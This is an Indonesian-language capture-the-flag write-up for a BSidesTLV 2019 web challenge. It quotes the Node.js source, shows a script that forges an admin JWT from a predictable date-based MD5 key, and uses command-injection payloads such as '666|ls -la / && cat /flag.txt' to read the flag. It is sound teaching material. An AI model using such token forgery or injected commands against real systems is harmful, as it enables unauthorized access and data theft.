pertama kita download dulu file challenge.js nya, kemudian kita analisa
code nya , oh ya saya mengunakan dynamic analisis
bisa kita lihat bahwa challange nya mengunakan nodejs, dengan framework expresjs,
kemudian kita coba install modules nya kemudian kita jalankan server nya.
kita buka di browser alamat http://pacman.challenges.bsidestlv.com/ maka akan muncul tulisan You are not authorized!
mari kita check path `/` pada challenge.js
app.get('/', function(req, res) {
if(req.headers['user-agent'] === 'LevelUP!' && decodeValue(req.cookies.auth, generateKey())) {
res.render('game.ejs');
} else {
res.send("You are not authorized!");
}
});
sebelum mengakses endpoint tersebut , kita harus mengeset user-agent dan cookies.
namun pada cookies ada pemangilan fungsi decodeValue dimana cookies auth akan di decode berdasarkan fungsi generateKey()
maka bila di urutkan hal yang perlu kita siapkan adalah
1. set user-agent menjadi LevelUP!
2. mengetahui output dari generateKey()
3. mengecheck cara kerja fungsi decodeValue(token, key)
step 1
------
pada request http ke path / kita ubah user-agent menjadi LevelUP!
step 2
------
mari kita check fungsi `generateKey()`
function generateKey() {
const date = new Date();
const year = date.getFullYear();
let month = date.getMonth() + 1;
month = (month < 10 ? "0" : "") + month;
let day = date.getDate();
day = (day < 10 ? "0" : "") + day;
const key = `${year}:${month}:${day}:LevelUP!`;
return crypto.createHash('md5').update(key).digest("hex");
}
bisa kita simpulkan bahwa key yang akan di generate memiliki pola seperti ini
${year}:${month}:${day}:LevelUP! kemudian encode kedalam hex dan terakhir di hash mengunakan md5
asumsikan kita mengunakan time request ke server http://pacman.challenges.bsidestlv.com/
Tue, 11 Jun 2019 18:53:40 GMT maka menjadi '2019:06:11:LevelUP!' kemudian kita hex dan md5
maka ketika fungsi generateKey() di pangil maka kita akan mendapatkan key cf02bbfc843acac6ff595527c855904b
step 3
------
kita check fungsi decodeValue(token, key), menerima 2 inputan berupa token dan key
function decodeValue(token, key) {
try {
return jwt.verify(token, key, function (err, decoded) {
return decoded.isAdmin
});
}
catch(err) {
return false;
}
}
pada fungsi decodeValue ada proses pengecheckan token, dan terakhir hasil dari decode token akan di return berupa bolean.
bisa kita asumsikan token yang di encode berupa
{ isAdmin : true } , karena pada proses verify, bisa kita lihat hanya mereturn bagian decoded.isAdmin
dan karena kita tau key yang di gunakan maka , kita bisa mengenerate token tsb.
dengan membuat script
const jwt = require('jsonwebtoken');
let key = 'cf02bbfc843acac6ff595527c855904b'
const token = jwt.sign({ isAdmin: true }, key);
console.log(token)
muncul sebuah halaman berupa game packman,
kita viewsource
maka kita temukan sebuah event handler ketika user mengclick `levelUp` maka ada proses ajax berupa
method : POST
url : http://pacman.challenges.bsidestlv.com/levelUp
parameter : { "level": currentLevel }
maka kita coba request lagi.
output berupa Level up!
mari kita check path /levelUp pada script challenge.js
app.post('/levelUp', function(req, res) {
if(req.headers['user-agent'] === 'LevelUP!' && decodeValue(req.cookies.auth, generateKey())) {
const level = req.body.level;
exec('./levelup ' + level, (err, stdout) => {
res.send(stdout)
});
} else {
res.send("You are not authorized!");
}
});
bisa kita temukan pada route /levelUp menjalankan fungsi exec dan parameter level sebagai parameter ketika menjalankan
file ./levelup
maka bisa kita simpulkan kita menemukan bug command injection , si user bisa mengirimkan malicious command, mari kita test.
{"level":"666|ls -la && pwd && id"}
maka kita hanya mencari flag dimana
{"level":"666|ls -la / && cat /flag.txt"}
setelah itu flag nya adalah BSidesTLV{H1dd3nPacmanLevelUP!}
Maka bisa kita simpulkan terdapat 2 bug yaitu:
1. week create secrect key
2. command injection